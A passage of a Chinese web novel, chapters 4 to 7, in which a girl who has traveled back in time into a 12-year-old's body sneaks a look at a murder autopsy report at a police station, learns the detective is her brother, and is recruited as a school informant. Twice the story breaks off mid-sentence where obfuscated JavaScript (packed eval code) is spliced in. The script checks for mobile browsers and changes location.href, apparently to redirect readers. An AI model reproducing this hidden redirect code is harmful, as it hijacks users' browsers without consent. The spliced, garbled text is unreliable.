“今天京祁初中发生了命案,他现在估计在会议室研究案子呢,我带您过去。”林建刚建议道。 “他在忙,过去打扰不太好,”邱滢说,“我们还是在这里等他吧。” “这有什么不好的?!”林建刚看着邱滢手里攥着的搪瓷盆,说,“再忙饭还是要吃的,要不怎么有力气抓犯人啊,对吧师母。” 邱滢知道他是不想自己在这里白等太长时间,她笑着道:“谢谢你啊小刚。” “师母,不用客气。”林建刚笑着回答。 俩人刚准备走,邱滢注意到身后姜颂禾一直紧跟着他们。 她安排道:“禾禾,会议室你就别去了,你先在办公室找个地方坐坐,我一会儿回来。” “好。”正愁不知道如何溜进办公室的姜颂禾爽利地答应下来。 “她就是姜老师的女儿颂禾吧。”林建刚问。 “嗯。”邱滢笑道。 “真可爱,”林建刚骄傲着弓腰对姜颂禾道,“你小时候,我还抱过你呢。当时你还尿了我一身,你还记得吗?” 尿了一身? 只想逃离的姜颂禾扯出一个尴尬但又礼貌的微笑,她脱口而出:“那不是我,拒绝捆绑,谢谢。” “你在说什么啊,”林建刚有点听不懂了,他疑惑道,“你哪有被绑住。” “这个年纪的小孩子就爱说些胡话。”邱滢圆场道,“你别和她一般见识。” “没有,颂禾挺乖的。”林建刚道。 “听话哈,我找到人我们就回家。”邱滢不放心地嘱托,“你不许乱跑。” 姜颂禾重重地点了下头:“嗯,你放心吧。” 邱滢表情欲言又止,像是在说——你做事,我不太能放心。 读懂她意思的姜颂禾:…… 她有这么不靠谱吗? 邱滢终是没有多嘱托什么,她拎着包裹跟林建刚离开了。 眼看着俩人走远,姜颂禾快速溜进办公室,她在所有联排木桌的桌面上扫视了一圈。 上面杂七杂八的东西都有,水杯、本子、钢笔一个不少,可唯独没有她想找的证据。 姜颂禾搜寻了半天,终于,她在一个角落里的独桌上发现了一个牛皮袋,上面还缠着几圈麻绳封口。 尽管上面一个字都没写,可姜颂禾还是知道,这就是自己要找的东西。 “终于找到你了。” 姜颂禾跪坐上椅子,将身子趴向独桌桌面中央。 她绕下牛皮袋缠线,从里面掏出了一张法医鉴定报告和几张现场拍摄的尸体的照片。 甚至,她还在牛皮袋下面看到摆着的几张手写的口供。 得来全不费工夫啊。 她赶来的时间刚好,证物都备齐了。 要知道搜集这些东西,如果只靠她一个人是不可能完成的。 她快速打开鉴定报告,上面明晃晃地写着—— 【检验对象:刘念 基本情况:女,1965年5月出生,25岁,京祁市第一初级中学入职刚满一年的初中语文老师,任初一3班班主任,尸体于教学楼后50米处发现,发现时已死亡。 尸表特征:死者全身多处擦伤,额部有明显对冲伤,并伴随头部枕骨粉碎性骨折,身体表面存在多处割伤,且深浅不一,尤右上臂第二道割痕最为严重,深0.7cm,皮肤割痕处检测出的棉线碎屑,初步判断来源为死者生前所穿衣物。 解剖所见:颅腔内脑干存在撕裂伤,小脑嵌顿于枕骨大孔,符合及时死亡特征。死者胃部存在大量肉类残留,经鉴定残留属牛羊肉制品,食用时间大概在死亡前两小时。 结论:死亡原因为高空坠死,体表人为割痕明显,但并不致命。】 姜颂禾着急地扒拉出相应的照片对比。 上面,姜颂禾可以清清楚楚地看到无数大大小小的伤痕遍布死者肌肤表面,纵横交错,深浅不一,甚至有些割痕还夸张到连成了一个“z”字。 纵使姜颂禾觉得自己从小胆大到没边,此刻也有点觉得这些照片有种超越她认知的恐怖。 她都不敢想象,经历过这些“虐待”,死者生前该有多痛苦。 姜颂禾快速略过几张照片,最后她的目光停留在了那张右臂伤痕的侧写上。 正如鉴定报告所说,这个伤痕是所有割痕里最深的,从照片上都能清晰的看到裸露在空气里的肌肉层组织。 鲜血淋淋又触目惊心。 从方向上看,伤口呈横向,并且从外侧到内侧割痕逐渐变浅。 从痕迹上看,这条割痕没有其他割痕平滑,说明凶手在割这道伤痕的时候有些犹豫。 又或者这道伤口割得太深,凶手有些划不动。 又或者他在享受折磨死者的快感。 但不论是哪种情况,这道割痕大概率都是第一道割痕。 第一道割痕落在死者右臂上臂,且深度由外及内逐渐加深,所以凶手有很大可能是个左撇子。 他左手拿刀。 “这样……”姜颂禾比划着。 “你在干嘛?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222343|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身后冷不丁传来一个低沉的男人声。 专心致志模仿凶手起势动作的姜颂禾被吓到当场扑在桌子上,她惊慌着向后看了眼。 一张大脸当即出现在了她眼前。 他靠得特别近,近到姜颂禾第一眼只能看到他优越的鼻子和平滑的右侧颧骨。 “哎哎哎——” 毫无防备的姜颂禾在椅子上晃荡了几下,随即像是没控制住身体,连人带椅一同向后仰了下去。 来人像是不打算做任何挽救的意思,任由姜颂禾和椅子一同摔了个底朝天。 “哎呦。” 姜颂禾揉着着地的屁股。 再抬头,姜酩野正用满是得逞的目光俯视着她。 他突然吓她就算了,她都倒地上了,他还一副看热闹的表情。 礼貌吗? “你干嘛?”姜颂禾气呼呼地站起来道。 “我还想问你干嘛呢,”姜酩野指了指她先前趴过的独木桌,“这是我的办公桌,这里是我的办公室。” “你突然出现在这里,不会是想偷检测报告吧。” “胆子不小啊,偷东西都偷到警局来了。” 姜颂禾心虚地拨弄着鼻尖。 她这也不算偷,顶多算是热心市民关心一下案子进展。 姜颂禾避重就轻地回答:“我妈带我来看一个亲戚。” 姜酩野顿了一秒,才问:“那她有没有告诉你来找谁的?” “没有,”有了白天的交集,姜颂禾对他并没有设立太多防线,她把椅子扶起来,坦言,“但大概率是个挺近的亲戚。” 姜颂禾以为这样能够吓住他,毕竟没有什么比“我在警局有人”更好用的唬人话术了。 更何况,她说的还是真的。 “哦——哦。”姜酩野拖腔带调地把声音转了几个弯。 “你干嘛,”姜颂禾抬眸嫌弃的瞅着他。 “你和你妈来的啊,那她知道你乱动警方的证据吗?”姜酩野不怀好意地说。 话至此,当场被抓包的姜颂禾再无辩解的可能,她当场变脸。 乱动警察证据被外人抓包,她亲哥来了都不好使。 姜颂禾尴尬地露出八齿微笑:“你就摆在桌子上,我一抬眼,这不就看到了吗?” “根据我国《刑法》和《治安管理处罚法》规定,非法获取、泄露警方证据,都有可能构成妨碍公务罪。可鉴于你还未成年,行政处罚或刑事追责可以由你的监护人代为执行。”姜酩野冷静道,“换句话说,你泄露警方证据,我可以把你妈抓局子里。” 姜颂禾警校毕业并非不知道这些,只是她碰到案子不查个结果出来,她睡不着觉啊。 “没那么严重,”姜颂禾讨巧地甩了甩手里的法医鉴定报告,“我初中生,数学只能考6分,这上面的字我一个不认识,怎么会泄露证据呢。” 姜酩野冷不丁道:“据我所知,你爸爸以前当过老师,你哥哥又是全村唯一的一个大学生,你家基因这么优良,你数学怎么考六分啊。” “基因突变?还是你就喜欢排优选劣啊。” 姜颂禾再次一秒变脸,她幽怨地盯着他。 她怎么这么不爱听他讲话? 可她理亏,又不敢反驳。 “你干嘛?”姜酩野盯着她,“又嘟嘴,又嘟嘴,我找个杯子挂你嘴上。” 姜酩野找了半天,终于在自己的桌面上找到了个印着红色大牡丹的搪瓷茶缸。 他小心地把茶缸握手挂在姜颂禾因为生气而不自觉撅起来的嘴上:“别乱动,快挂好了。” 姜酩野一边安置一边嘱托:“茶缸要是掉地上,我接着告诉你妈你在警局调皮捣蛋的事情。” 姜颂禾赶紧嘟嘴更甚了。 “你们在干嘛?!”门口响起来一个熟悉的女声。 姜颂禾好奇地侧头望过去。 是刚赶回来的邱滢和林建刚。 姜颂禾泪眼汪汪,她刚要开口控诉自己刚才的遭遇,结果那个尚未挂好的搪瓷茶缸应声着地。 咣当—— 清澈的落地声响彻整个屋子。 5. 第 5 章 姜颂禾心虚地仰头,刚好对上了姜酩野不怀好意的眸子。 只见他“邪魅”一笑,像是憋足了坏劲。 “邱女士……” 姜酩野贱兮兮地开口刚喊了个人名,姜颂禾就立刻踩上了凳子,一个蹦跳蹦到他后腰上,然后从后背伸出手牢牢地捂住了他的嘴。 “别说别说,”姜颂禾不知道这位刚认识的刑侦队长能秉公执法到什么地步,她小声道,“我年纪小不认字,真看不懂证据。” 姜酩野觑着她:“哇开哇(放开我)。” 姜酩野越挣扎,姜颂禾双腿绞得他越紧。 她死死扒在他后腰上,右手还乱七八糟地捂住他的嘴。 “我放开你也行,你不要乱说话,”姜颂禾鼓足勇气威胁道,“更别对我妈进行刑事追责。” 姜酩野没说话,只是奋力甩开她。 “米手喔挫喔鼻子哩喔(你手戳我鼻子里了)。”姜酩野难受地挣扎,说话也说不清楚。 “哦,对不起。”姜颂禾把手礼貌地往外挪了挪。 中途似是觉得有点脏,她又把左手顶上,右手则自然地往姜酩野衣服上擦了几下。 姜酩野幽怨地斜眸盯着她:嗯? 姜酩野晃动着身体,试图把后背上的姜颂禾摔下来。 “米给喔虾赖(你给我下来)。” 姜酩野的力气很大,晃得他后背上的姜颂禾有些扒不住了,她索性直接捏住他的鼻子,用来当支撑自己身体的着力点。 “唔——”姜酩野难受地发了几个鼻音。 姜颂禾死死扒住他:“你答应我。” “你唔下来,唔就嗯嗯你(你下来我就答应你)。”姜酩野讨价还价。 姜颂禾:“你先答应我,我就下来。” 姜酩野:“哩剁梦(你做梦)” 两人立刻僵作一团。 “这兄妹俩感情真好,这么多年没见,还这么爱打闹。”门口的林建刚笑道。 正在奋力捏住姜酩野鼻子的姜颂禾动作倏地停住,她震惊地瞪大眼睛。 他在说什么? 兄……兄妹?! “禾禾,松开你哥哥,”邱滢严肃道,“让人家笑话。” 哥哥? 姜颂禾猛地记起来,原主好像确实有一个当童养夫的哥哥。 只不过因为当时他离开家的时候,原主才四五岁,再加上这些年一直没有回来过,所以原主对他长相和名字一点印象没有。 可他叫姜酩野,她叫姜颂禾。 俩人都姓姜……大概率是一家人没错了。 姜颂禾心虚地从姜酩野身上跳下来站到椅子上,才勉勉强强和姜酩野差不多平齐。 姜颂禾的食指颤颤巍巍地指着姜酩野,不确定地问:“他真是我哥?” “亲哥。”姜酩野捂着被捏疼的鼻子补充。 “他说他是我亲哥。”姜颂禾看着门口尴尬地笑着。 “你哥哥出去上学的时候,你已经四岁了,你应该能记得自己有个哥哥吧。”邱滢温柔地问。 “记得,但是,”姜颂禾按照原主的记忆小声回答,“为了养我,你们不是把我哥哥卖去给人当童养夫了吗?” 怎么童养夫摇身一变,直接成刑警了啊。 姜酩野拎起姜颂禾耳朵,吼道:“老子八年前离家的时候就跟你解释过,老子不是去给人当童养夫!是去外地上警校了!” “邻居家大妈跟你说什么,你就信什么,怎么不见你信信你哥哥我啊?” “不是就不是,你吼什么?!”姜颂禾护住自己的耳朵,紧跟着咆哮道,“谁让你这么多年都不回来!” “我要加班,还要值班!哪有时间回来。”姜酩野一声比一声大。 姜颂禾还想说什么工作过年都能不着回家? 结果一想到他是刑警,瞬间闭嘴了。 毕竟这种节假日加班查案的情况,她还没毕业就经历过了。 - 经历过刚才的一番闹剧,办公室好不容易消停下来。 姜酩野和林建刚并排坐在一个联排桌子上。 桌面上垫满了废旧报纸,报纸上面则摆着一盆用陶瓷盆盛着的饺子。 “师娘,你做的饺子真好吃。”林建刚嘴里的饺子还没咽下去就夸赞道。 “好吃就多吃点,”邱滢从包裹里拿出一瓶醋给俩人倒上,“沾点醋更好吃。” “谢师娘。”林建刚笑着夸道。 全程都是林建刚说话,姜酩野闷头吃着。 “警局就你们两个人啊,其他人呢。”看着空荡荡的警局办公室,邱滢问。 “走访去了,”姜酩野一边快速扒拉着饺子吃着,一边头也不抬地说,“案发现场在学校,需要走访的人很多。” “对,我也刚走访回来。”林建刚笑着说,“也是我命好,一回来就赶上了顿饺子。” 邱滢心疼地说:“你们当刑警的真是辛苦。” “早就习惯了。”姜酩野夹了块腊八蒜,淡淡道。 “对了,案发现场就在颂禾的学校啊对吧。”林建刚冷不丁提了一嘴。 突然被提到,正在自己碗里用筷子戳饺子的姜颂禾提了提神,应声道:“嗯。” “案发现场当时就在我们教学楼后面,我是亲眼看着她掉下去的。”姜颂禾如实回答。 林建刚问:“那案发前后,你有没有发现什么不对劲的地方?” 姜颂禾一边认真地回想着一边喃喃道:“不对劲的地方?” “对,你觉得很奇怪的地方,比如什么人,或者什么声音……”林建刚继续深问道。 “奇……怪的……人?”姜颂禾余光瞄着正在门头干饭的姜酩野。 似是感受到她“刻意栽赃”的目光,咬着腊八蒜的姜酩野抬头回视着她。 他空出一只手,在自己脖子上划了一道横线。 无声中像是在说:你要是敢栽赃我,我杀了你。 姜颂禾丝毫不畏惧,她快速指着姜酩野道:“他。” 林建刚和邱滢的目光齐齐看过去。 姜颂禾继续道:“我亲眼看到,尸体一掉下去,他就出现在了案发现场,还擅自挪动尸体。” “你怎么会凑巧在禾禾的学校?”邱滢冷不丁问道。 “我……”姜酩野一时间不知道怎么回答。 “学校请家长,不是你让他去的吗?”姜颂禾从椅子上跳下来,激动地抢话道。 “没有啊,我都不知道他今天回来,”邱滢疑惑道,“下午我是让你爸下班的时候过去的啊。” 姜万湫可不像是那种喜欢把事情推给别人的人。 一定是她这个多年不见的“哥哥”为了亲眼看到她在学校挨训,主动请缨去的。 姜颂禾怨气冲天地瞅着自己正对面的姜酩野。 他怎么一天天的这么闲? “看什么看,吃你的饺子,”姜酩野敲了几下姜颂禾面前的小碗,“吃完赶紧回家写作业,别整天来警局晃悠。” “在家不好好吃饭,非得来警局吃,是不是伴着尸体的味道,更好吃啊。” “刚回来就欺负你妹,。”邱滢顺手拍了下姜酩野的肩膀,“你就不能让着她点?” “妈,我没欺负她。”姜酩野还觉得自己委屈。 “就是,别欺负我。”姜颂禾附和道。 姜酩野抬手冲她比了个要打人的手势。 姜颂禾也不甘示弱,她站起身子,刚准备挥拳回击他,就被邱滢一个“反手捞”打断了。 “酩野,”门外顾枳聿风风火火地推门走进来,“有新发现。” 他话音刚落,便看见了屋内正在吃着饭的四个人,他淡淡地笑着说:“吃饺子怎么也不叫上我啊。” “顾队你回来了?”林建刚嘴撑得鼓囊囊地道。 “你们要忙工作啊,我们先回避一下吧。”说着邱滢拎起姜颂禾的手腕就要离开。 “没什么大事,你们在这儿就行,”说完,姜酩野转身又冲门口 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“行啊,我等着。”姜酩野道。 眼看着这兄妹俩又要打起来了,顾枳聿转移话题道:“那你要不要猜猜,我们是在哪里发现凶器的?” “楼顶?”林建刚天真地猜了个地方。 “不是,”顾枳聿说,“我们是在校长办公室的垃圾桶里发现的,并且把手上的指纹和刀身上的血迹清晰可见。我已经移交技术科处理了,差不多一两个小时就能有结果。” “凶器怎么会出现在校长的办公室?” 林建刚问出了姜颂禾的疑惑。 对啊。 凶器怎么会出现在校长的办公室? 姜颂禾脑子里不由得回想起白天遇到的那位长相略有些斯文气的校长。 照理说,学校是他的地盘,不管凶手是不是他,他总会第一个被怀疑。 那么他为什么还要执意在学校里杀人呢。 对他又有什么好处? 还是说他刻意闹大这件事情,是为了掩盖另一件更大的事情? “如果他真的是凶手,那么凶器为什么会在他的办公室里呆这么长时间?”姜酩野细想了会儿,才缓缓发出了自己的疑问,“总不能是等着我们警方发现吧。” “你是怀疑有人栽赃?”顾枳聿问。 “不确定,但尚且存疑,”姜酩野停住筷子道,“人带警局来了吗?” “没有,”顾枳聿说,“我们的人在他家门口蹲了几个小时,没蹲到人。” “他没回家?”姜酩野蹙眉问。 “大概率是。”道。 “我俩的转岗流程没走完,先别给其他同事添麻烦了,这次案子我们做后勤。”姜酩野道。 “行。”顾枳聿应下。 “还有,行动保密,让蹲守的同事掩好自己,不要打草惊蛇,”姜酩野安排道,“明天让他们再去学校走一趟。” “姜队,明天我去趟学校吧,”林建刚联系道,“明天学校开学,我还可以去维持秩序。” 姜酩野蹙眉,不悦道:“发生这么大的事儿,怎么这么早开学?” 林建刚:“学校方面说,明天是学生的体检日,请的医生都是从省立医院调来的,不方便爽约。” “行,明天你先带几个人去着,我和枳聿走完转岗流程就去帮你们。”姜酩野道。 “没问题姜队。” 林建刚刚应完,姜酩野就瞅到姜颂禾的眼睛嘀哩咕噜地转动着,像是在思考着什么。 “妈,你看我妹。”姜酩野欠揍地喊了一声。 所有人整齐地顺着姜酩野的目光看过去。 感受到不对的姜颂禾立马收回心思,她露出尴尬又不失礼貌的八齿微笑:“你们在看什么呢。” 姜酩野虚假地扯了下嘴角,不留情面地说—— “在看你这小狐狸又打算作什么妖。” 6. 第 6 章 姜颂禾的脸当场垮了下去,要不是这里人多,她真想敲开姜酩野的脑壳狠狠问他——是不是有病?是不是有病! “酩野,今晚要加班到几点?”邱滢关切地问,“还回家吗?” 姜酩野抬了抬头:“不知道,得看情况。走访的同事还没回来,我们今晚估计得整合完口供,安排好明天的任务才能休息。” 姜颂禾指着不远处的桌子:“那不是有口供吗?” 顾枳聿道:“那只是白天记录的学校老师的口供,很多细节还是需要单独走访的。” “你们也觉得她是被人杀了的吗?”姜颂禾假装随口问了句。 “嗯……” 顾枳聿还没来得及解释,姜酩野抢先道:“在没有充分证据证明是他杀的情况下,自杀也不是没有可能。” 姜颂禾默默点点头。 这样说也对。 “我去帮你们把口供拿过来吧。”姜颂禾从椅子上下来建议道,“你们一边吃饭一边看,还可以节约时间。” “回来。”姜酩野空出嘴命令道,“吃你的饺子。” “喔。”姜颂禾默默转身走回来。 林建刚道:“颂禾也是好心,你就让她拿过来呗。” “这小孩,刑侦故事听多了,天天想着学我们查案,”姜酩野一秒戳破了姜颂禾的意图,“让她拿过来,那明天估计她都能靠那几张口供在小孩堆里当‘神探’了。” 姜颂禾听得出他话里的意思,就是说她嘴里没个把门的,知道一点点案件进展,就出去吹嘘自己和警察一样厉害。 至于嘛,她又不是小孩子。 “查案是大人的事儿,你一个小孩不许碰案子,知道吗?”邱滢教育道,“多危险啊。” 姜颂禾无力道:“是。” 好吧,在外人眼里,她现在就是一个小孩子,还是一个正值叛逆期和装逼期的小孩子。 12岁,在他们这群大人眼里,好像就是一个路过一条狗都会忍不住踹上两脚的野性难驯的年纪。 就算她现在说自己是个成年人,也没人会相信。 毕竟,一个初中生装着一个成年人的意识,任谁都会觉得说这句话的人疯了。 姜颂禾把脸抵在桌边,眼睛咕噜噜地看看自己对面正在闷头吃饭的三个人,又看了一眼一旁的邱滢。 她知道这次自己铁定没机会再看口供了。 不过既然检测报告看了,死因她大概也了解了,其他的也没那么重要了。 毕竟口供什么的,明天上学她可以亲自打听。 说不定,作为学生,她打听到的线索会比这群警察还要详细。 姜颂禾乖巧地站直身子,道:“妈,我困了,我们回家吧。” “行。”邱滢应下来,转头就要收拾碗筷。 姜酩野饭吃到一半:“妈,我还没吃完。” “吃不完也别吃了,你妹困了,小孩子觉多,得早点回去。”邱滢一边收拾一边说,“她明天还要上学。” “林建刚也还没……” 姜酩野话音未落,林建刚就率先回答:“我吃完了。” 姜酩野还想说顾枳聿,结果人家先一步拿出了自己的搪瓷饭盒:“阿姨,剩下的饺子倒我饭盒里吧。” “这孩子,真板正。”邱滢夸道。 姜颂禾瞅准时机拿了一个印着大红牡丹的茶缸过来:“妈妈,哥哥也还没吃饱,你给他把饺子装这个茶缸里吧。” 邱滢接过,道:“行,知道心疼哥哥了。” 姜酩野死死盯着她,像是盯着一块儿随时准备搞事情的惹祸精。 “你会这么好心?”姜酩野怀疑着问。 姜颂禾没搭理他,继续道:“妈妈,哥哥的茶缸掉了块漆,我用我的零花钱给他买个新的吧。” “不用了,我谢谢你。”姜酩野感谢地咬牙切齿。 “你哥哥有钱,让他自己买就行。”忙碌着的邱滢道。 “可是这个茶缸是我给他摔坏的呀,”姜颂禾小声嘟囔道,“我必须给他买个新的。” 邱滢停住动作:“嗯?怎么回事?” 姜酩野警惕道:“你别乱告状啊。” 姜颂禾低头故作委屈道:“你进屋之前,哥哥让我用嘴挂着茶缸,不让他掉下来。” “可我嘴太小了……挂不住……掉地上了……”眼看着姜颂禾越说越委屈,像是要哭出来了。 “我没有啊……”姜酩野吓得连连否认,“你别栽赃我。” 邱滢夹着饺子的筷子摔在桌上,脸色阴沉地像是要吃人。 把排坐着吃饺子的姜酩野三个人吓得够呛,当即整齐地坐直了身子。 “她——演员,故意的,”姜酩野否认,“我没有。” “刚才的情况,没她说的那么可怜。” “我跟她开玩笑呢。” “你跟我过来。”顾全他脸面的邱滢拎着姜酩野耳朵就往外走。 “唉……妈……疼。” 姜酩野被硬生生从座位上薅起来,后面甚至还因为两个人的身高差距,个子高的姜酩野被拎着强行拖行了一段时间。 办公室的门“嘭——”的一声关上,一阵撕心裂肺的嚎叫紧接着传了进来。 “啊……哦!……妈!” 姜颂禾破涕为笑。 “你故意的吧。”顾枳聿胳膊交叠摞在联排桌面上。 “你在说什么?我听不懂。”姜颂禾理所当然地坐在椅子上晃着腿道。 “故意拿杯子,故意装可怜,故意告状,”顾枳聿顿了一秒总结道,“难怪你哥喊你演员呢。” “是他先欺负我的,”姜颂禾不隐藏自己的目的,“我只是实话实说。” “既然你这么厉害,帮哥哥个忙。”顾枳聿道。 “什么忙?”姜颂禾警惕地问。 “当个卧底。” 姜颂禾:“嗯?” — 第二天,凌晨六点半。 尚在睡梦中的姜颂禾就被邱女士“连拖带拽”得弄醒了。 她眨眨眼,熟悉了一下环境。 这是她穿越的第二天。 说实话,她还是不习惯纯人工叫醒的日子。 “禾禾,今天我起床晚了,你自己梳梳头发,洗干净脸再去上学。”客厅忙进忙出的邱滢说道。 刚从房间出来,困意十足的姜颂禾应声回答:“好。” 她顶着一头杂乱的鸡窝头,寥寥草草的,像是刚从哪个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222345|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平民窟里爬出来的流浪汉。 此时,她正抱着一个比她矮一截的小兔子玩偶,捂嘴打哈欠。 “桌子上有早餐,记得吃。”邱滢继续嘱托。 “好。”姜颂禾擦了擦眼角的眼泪。 “你爸爸四点就去单位临时加班了,你哥哥送你去上学。”邱滢嘱托,“他凌晨两点多才回来,你别惹他生气。” 姜颂禾再次:“好。” 邱滢一边出门一边嘱托:“还有,今天学校体检,我把你的体检证放餐桌上了,吃完饭别忘了带。” “好。” 一连四应,姜颂禾回答地越来越敷衍。 她有些恍惚地爬上椅子。 这一日的早餐主食是炸馒头,柔软的馒头外面裹着一层炸到金黄的蛋液。 她没怎么有精神地往嘴里塞了一口。 浓郁的蛋香顿时填满她整个味蕾。 姜颂禾瞥了眼桌面上的体检证,嘴里的嚼动一停没停。 姜颂禾没吃几口,一个高大的身影走到她对面坐下。 同样,他也顶着一头姜颂禾同款黑色鸡窝头,短发直冲天空,活有一种炸毛刺猬的既视感。 他的眼睛半搭着,上眼皮直撑到一半,给人一种想努力睁开但又睁不开的样子。 姜颂禾将装着几块炸馒头的盘子递给姜酩野。 姜酩野自然接过,连句道谢都没有。 早上的客厅很安静,温和的日光穿透窗户照射到屋子里。 姜家俩兄妹分别坐在餐桌两端,谁也没开眼看过谁,都只是自顾自地吃着早饭。 中途,俩人还很有默契地对着打了个哈欠。 直到姜颂禾坐在姜酩野的二八大杠来到学校门口,俩人都没主动开口说过一句话。 停下车子,双脚有些够不着地的姜颂禾从后座跳下来。 “书包。”姜酩野懒懒散散地提醒了句。 姜颂禾极为配合地转身背对着他。 姜酩野难得有耐心,他把书包带撑开挂到姜颂禾的肩膀上。 许是因为姜颂禾年纪小,肩膀并不怎么能支撑书包的重量,每次姜酩野一挂上,书包背带就顺着姜颂禾的肩膀滑了下去。 “你能不能多吃点饭?”姜酩野嫌弃了句。 姜颂禾知道姜酩野在嫌弃什么,她转身正对着他:“又不是我多吃饭肩膀就能长宽。” “但是能长高,”姜酩野不耐烦地说,“没人说你的个子是全班最矮的吗?” “没有。”姜颂禾理所当然地回答。 “姜颂禾?!你怎么来这么早?” 一个有些胖胖的小男孩从不远处跑过来,打断了两人的谈话,他打量着姜酩野,道:“姜颂禾,这个瘦瘦高高的人谁啊?今天怎么是他送你来的?” 这个突然冒出来的小男孩,姜颂禾认识他,是她的同班同学李铁柱。 是的,她没记错,在原主的记忆里他就叫李铁柱。 并不是原主随便起的外号,而是以后会切切实实印在身份证上的名字。 姜颂禾刚要开口回答,李铁柱便好像悟到了什么,他夸张地‘哦’了好几声,才道—— “姜颂禾,他不会是你后爹吧,长得还挺好看的。” 7. 第 7 章 有些困意的姜酩野清醒了不少,他咬牙切齿道:“小鬼,我长得有这么老吗?” “昂,有点。”李铁柱不怕死地说。 这小子是真憨啊。 “你不要命了?这种实话都敢往外说?”姜颂禾捂住他嘴,道。 姜酩野:…… “我谢谢你啊,你的话也没好到哪里去。” 李铁柱拨开她限制自己嘴巴的手,侧头小声问:“姜颂禾,你爸妈离婚了?你妈怎么找了这么年轻的后爹?你要变单亲家庭了?!” “你才要变单亲家庭呢!”姜颂禾回怼了句。 李铁柱觉得姜颂禾可怜不与她计较。 他一边眼瞅着姜酩野,一边继续和姜颂禾嘱托:“我可听说了,后爹对继女都不好,你小心点,说不定他会让你扫烟筒。” 什么乱七八糟的? 姜颂禾无语:“你童话书看多了吧,他是我哥。” “你哥?!”李铁柱震惊道,“你什么时候有哥哥了?我怎么没听你说过?” 姜颂禾扯了下嘴角:“这不巧了吗?我也刚知道。” “你爸私生子?”李铁柱小心试探着问。 “你爸才有私生子!”姜颂禾忍无可忍地咆哮了句,“他是我亲哥!亲哥!” “哦。”李铁柱捂住耳朵,应道。 此时,几个穿着白大褂的人零零散散走进校园。 “他们是谁?”姜酩野随口问道。 姜颂禾顺着他的目光看过去回答:“医生吧。” 姜酩野:“你们真要体检?” 姜颂禾:“还能骗你不成?” “对了,姜颂禾,这次体检你不用参加了吧。”李铁柱突然岔开话题道。 “为什么我不用体检?”姜颂禾疑惑着,“我体检证都带来了啊。” “你一个月前不是刚体检过吗?”李铁柱道,“当时你还和我说你的血都要被护士抽没了,我还嫌弃你夸张。” 她什么时候体检过了? 姜颂禾彻底懵圈了:“我怎么不知道?” 原主也没告诉她啊。 “就是之前你让我给你请假,说你有隐疾,每个月都需要去卫生室体检啊。”李铁柱如实说。 “你才有隐疾!”姜颂禾觉得他的话莫名其妙的,她威胁道,“你别诬陷我啊。” “哦~~”李铁柱恍然大悟,“姜颂禾你不会是骗人的吧,你说去体检,实际上是去逃课?” 姜颂禾:…… 李铁柱说的并非没有可能,毕竟在原主自己的记忆里,她自己也深知她就是一个经常逃课去河边摸鱼捉虾的捣蛋形象。 那她现在属于自爆吗? 姜颂禾冷汗都没来得及冒,李铁柱又疑惑:“那也不对啊,每次体检都是隔壁班的万老师亲自带你去的,你没理由故意逃课才对。” 这段记忆,姜颂禾模模糊糊有点印象。但是后面的,她完全记不清了。 “万老师是谁?”姜酩野疑惑问。 姜颂禾依据原主的记忆快速回答:“万老师就是隔壁3班教语文的,性别男,具体名字我们也不知道,但是年纪大概在30岁,身高175左右,偏瘦,面部颧骨突出,脸颊凹陷,额头饱满,嘴还有点凸,长得像猴。” “你是在说我吗?”不远处一个瘦小的身影走过来,他夹着一个公文包,伸手和姜酩野打招呼道,“你好,我是万育才,是初一三班的语文老师,你就是姜颂禾同学的家长吧。” 姜酩野没有立刻把自己的手握上去,反而细细打量着他。 正如姜颂禾描述的那样,这位万老师颧骨突出得厉害,凹陷的脸颊上几乎没有任何肉感,鼻梁倒是很高,只是搭配上那一双细长的眼睛,怎么看都觉得他是一个极不好相与的角色。 甚至哪怕现在他的脸上挂着的笑容很和善,姜酩野也觉得有些扎眼。 姜酩野伸手握住他的右手,冷淡道:“你好,姜酩野,是姜颂禾的哥哥,是个警察。” 在提到“警察”两个字的时候,姜颂禾明显看到这位对她特殊“照顾”过的老师身体一僵硬。 脸上的表情也微不可察的停滞了几秒。 万育才缓缓收回手,他低头讪讪地问道:“颂禾,以前怎么没听你说过,你还有个哥哥啊。” 姜颂禾认真观察着他的表情,道:“他考上大学后就出去工作了,刚回来。” 万育才笑着回答:“难怪。” 学生像是天生对老师有种莫名的敬畏,一旁处于事况外的李铁柱如坐针毡,他拉起姜颂禾的手腕,一边跑一边道:“老师,快上课了,我们先走了。” 还没反应过来的姜颂禾被连拖带拽拉进校园大门。 留在原地的姜酩野和万育才没有停留多久,对视一笑后,也都离开了。 姜颂禾一步三回头地盯着他们,直到跑过一个转角。 李铁柱才松开姜颂禾,他喘着粗气道:“你怎么了?以前你不是都是见到老师有多远跑多远吗?今天怎么和老师搭上话了?” 姜颂禾平静地捏着自己的双肩包带,道:“以前是我年轻不懂事,现在我长大了。” 李铁柱跟上她天真地问:“你一夜之间长大的?” 姜颂禾故作玄虚道:“是一下午时间。” “哈?”李铁柱彻底懵了。 待到姜颂禾走远了几步,他才反应过来,念叨了句:“你脑子没事吧。” - 上午的课极其无聊,姜颂禾眼看着都要睡着了。 好不容易挨到第二节课下课,姜颂禾打着哈欠从位置上站起来,伸了个懒腰后,又坐了回去。 李铁柱屁颠屁颠地跑到她面前:“姜颂禾姜颂禾,八卦八卦,大八卦。” 